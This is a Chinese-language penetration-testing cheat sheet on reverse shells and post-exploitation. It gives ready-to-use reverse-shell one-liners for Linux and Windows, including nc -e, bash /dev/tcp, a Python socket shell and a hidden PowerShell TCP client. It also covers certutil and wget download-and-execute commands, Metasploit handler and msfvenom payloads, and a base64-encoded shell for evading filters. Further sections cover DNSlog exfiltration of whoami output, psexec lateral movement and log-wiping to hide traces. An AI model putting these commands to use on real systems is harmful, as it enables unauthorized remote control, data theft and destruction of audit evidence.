反弹Shell与渗透命令
[TOC]
反弹Shell与渗透命令
一、反弹Shell核心模块
1. 核心概念与前提条件
- 核心定义:反弹Shell是目标主机主动向攻击者控制的主机发起连接,建立命令行控制通道的技术,本质是「反向主动连接」,用于突破防火墙入站限制、端口占用等问题。
- 必备前提:已通过漏洞(如命令执行、文件上传)获取目标主机的命令执行权限,且目标主机能与攻击者主机网络连通(目标可出网或内网可达)。
2. 为什么需要反弹Shell
- 突破防护:防火墙仅放行少量入站端口(如80、443),正向连接无法建立,反弹Shell利用目标出站权限绕过限制;
- 隐藏痕迹:无需在目标开放端口,减少被端口扫描发现的风险;
- 适配环境:解决目标无公网IP、数据不回显等场景下的控制需求;
- 横向渗透:获取单台主机控制权后,通过反弹Shell向内网其他主机扩散。
3. 在线生成工具(快速高效)
- 林星安全反弹Shell生成:https://sec.lintstar.top/
- RevShells综合生成器:https://www.revshells.com/
- 幻影论坛Shell生成:https://forum.ywhack.com/shell.php
- 核心优势:支持多系统(Windows/Linux)、多语言、正反向连接,可直接生成即用型命令,降低编写门槛。
4. 反弹Shell分类与适用场景
| 分类维度 | 具体类型 | 技术特点 | 适用场景 |
|---|---|---|---|
| 连接方式 | Reverse(反向连接) | 目标主动连攻击者监听端口,无需开放目标入站端口 | 目标可出网、防火墙限制入站 |
| 连接方式 | Bind(正向绑定) | 目标开放本地端口并监听,攻击者主动连接该端口 | 目标入站端口可访问(内网/公网) |
| 实现方式 | 系统自带命令 | 无需额外下载工具,依赖系统内置命令(如nc、bash、powershell) | 目标无外网下载权限、需快速拿权 |
| 实现方式 | 开发语言 | 依赖目标已安装的语言环境(Python/Java/PHP),兼容性强 | 系统自带命令被禁用的场景 |
| 实现方式 | 第三方项目 | 远程下载工具(如nc、meterpreter)后执行,功能更强大(如自动重连) | 目标可出网、需稳定控制通道 |
5. 跨系统实操命令(重点必记)
(1)Linux系统反弹Shell
- 系统自带nc命令(最常用):
nc -e /bin/bash 攻击者IP 监听端口(如nc -e /bin/bash 192.168.1.100 6666) - Bash原生命令(无nc时):
bash -i >& /dev/tcp/攻击者IP/监听端口 0>&1 - Python语言(跨版本兼容):
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",监听端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])'
(2)Windows系统反弹Shell
- PowerShell(核心推荐,默认支持):
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('攻击者IP',监听端口);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbackbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbackbyte,0,$sendbackbyte.Length);$stream.Flush()};$client.Close()" - 远程下载nc执行:
certutil -urlcache -split -f http://攻击者IP/nc.exe && nc.exe 攻击者IP 监听端口 -e cmd.exe(需攻击者搭建HTTP服务器存放nc.exe)
(3)攻击者监听命令(接收连接)
- Linux:
nc -lvp 监听端口(如nc -lvp 6666) - Windows:
nc.exe -lvp 监听端口(需本地安装nc工具) - Metasploit监听(稳定控制):
msfconsole -x "use exploit/multi/handler;set payload linux/x64/meterpreter/reverse_tcp;set lhost 攻击者IP;set lport 监听端口;run"
6. 攻击思路
- 快速拿权优先:目标可出网时,用系统自带命令(如bash、powershell)反弹,无需额外下载,降低检测风险;
- 稳定控制选工具:需要持久化、横向渗透时,用Metasploit生成meterpreter payload(如
msfvenom -p windows/meterpreter/reverse_tcp lhost=IP lport=端口 -f exe -o shell.exe),上传目标执行,支持自动重连、提权等功能; - 绕过限制技巧:若目标禁用nc/bash/powershell,改用开发语言(如Python/PHP)反弹,或通过文件下载工具获取第三方Shell工具;
- 内网场景适配:目标仅内网可达时,攻击者先接入内网(如VPN、跳板机),再让目标反弹至内网IP。
二、渗透命令核心模块
1. 核心用途与参考资源
- 核心价值:渗透过程中用于信息收集、文件操作、权限提升、横向移动的高频命令集合,是漏洞利用后的关键操作工具;
- 在线参考手册:https://book.shentoushi.top/(渗透测试命令大全)
- 文件下载专题:https://forum.ywhack.com/bountytips.php?download(含各类场景文件下载技巧)
2. 高频渗透命令分类(按用途)
(1)文件下载命令(获取工具/上传数据)
- Linux:
- wget:
wget http://攻击者IP/工具名 -O 保存路径(如wget http://192.168.1.100/nmap -O /tmp/nmap) - curl:
curl -o 保存路径 http://攻击者IP/工具名(如curl -o /tmp/linpeas.sh http://192.168.1.100/linpeas.sh)
- wget:
- Windows:
- certutil(默认支持):
certutil -urlcache -split -f http://攻击者IP/工具.exe 保存路径(如certutil -urlcache -split -f http://192.168.1.100/msf.exe C:\tmp\msf.exe) - powershell:
(New-Object System.Net.WebClient).DownloadFile('http://攻击者IP/工具.exe','C:\tmp\工具.exe')
- certutil(默认支持):
(2)信息收集命令(摸清目标环境)
- Linux:
- 系统信息:
uname -a(内核版本)、cat /etc/issue(系统版本)、hostname(主机名) - 权限信息:
id(当前用户权限)、sudo -l(可执行sudo的命令) - 网络信息:
ip addr(网卡信息)、route -n(路由表)、netstat -tulnp(监听端口)
- 系统信息:
- Windows:
- 系统信息:
systeminfo(完整系统信息)、ver(系统版本) - 权限信息:
whoami(当前用户)、net user(用户列表) - 网络信息:
ipconfig /all(网卡信息)、netstat -ano(监听端口+进程ID)
- 系统信息:
(3)权限提升与横向移动命令
- Linux:
- 提权检测:
find / -perm -4000 2>/dev/null(查找SUID权限文件)、./linpeas.sh(运行提权脚本) - 横向移动:
ssh 目标内网IP "命令"(SSH免密登录)、scp 本地文件 目标IP:路径(传输文件)
- 提权检测:
- Windows:
- 提权检测:
whoami /priv(查看用户权限)、wmic qfe get Caption,Description,HotFixID,InstalledOn(查看补丁情况) - 横向移动:
net use \\目标IP\ipc$ "密码" /user:"用户名"(建立IPC连接)、psexec \\目标IP -u 用户名 -p 密码 cmd.exe(远程执行命令)
- 提权检测:
3. 攻击思路
- 先收集再行动:拿到Shell后,先用信息收集命令摸清系统版本、权限、网络拓扑,再制定提权/横向策略,避免盲目操作;
- 工具按需下载:根据目标环境选择文件下载命令(如Windows优先用certutil,Linux用wget),快速获取提权脚本、扫描工具;
- 隐藏操作痕迹:执行命令后清理日志(Linux:
rm -rf /var/log/auth.log;Windows:wevtutil cl System && wevtutil cl Security),降低被检测风险; - 命令组合复用:将高频命令写成脚本(如Linux信息收集脚本、Windows提权检测脚本),上传目标一键执行,提升渗透效率。
三、实战场景适配技巧
1. 不同网络环境选择策略
- 目标可出网:优先用Reverse反弹Shell,搭配公网VPS监听,文件下载用HTTP协议快速获取工具;
- 目标仅内网:攻击者通过跳板机接入内网,目标反弹至跳板机内网IP,文件传输用SCP/IPC$协议;
- 数据不回显:反弹Shell前用DNSlog外带确认命令执行(如
ping $(whoami).xxx.ceye.io),再反弹稳定Shell。
2. 防护绕过技巧
- 命令执行被拦截:将命令Base64编码执行(Linux:
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzY2NjYgMD4mMQ==" | base64 -d | bash;Windows:powershell -EncodedCommand 编码字符串); - 下载工具被阻断:改用冷门协议下载(如FTP:
ftp -v -n 攻击者IP 21 << EOF get 工具.exe EOF); - Shell被查杀:用加密Shell(如Metasploit加密payload)或无文件Shell(如Powershell内存执行)。
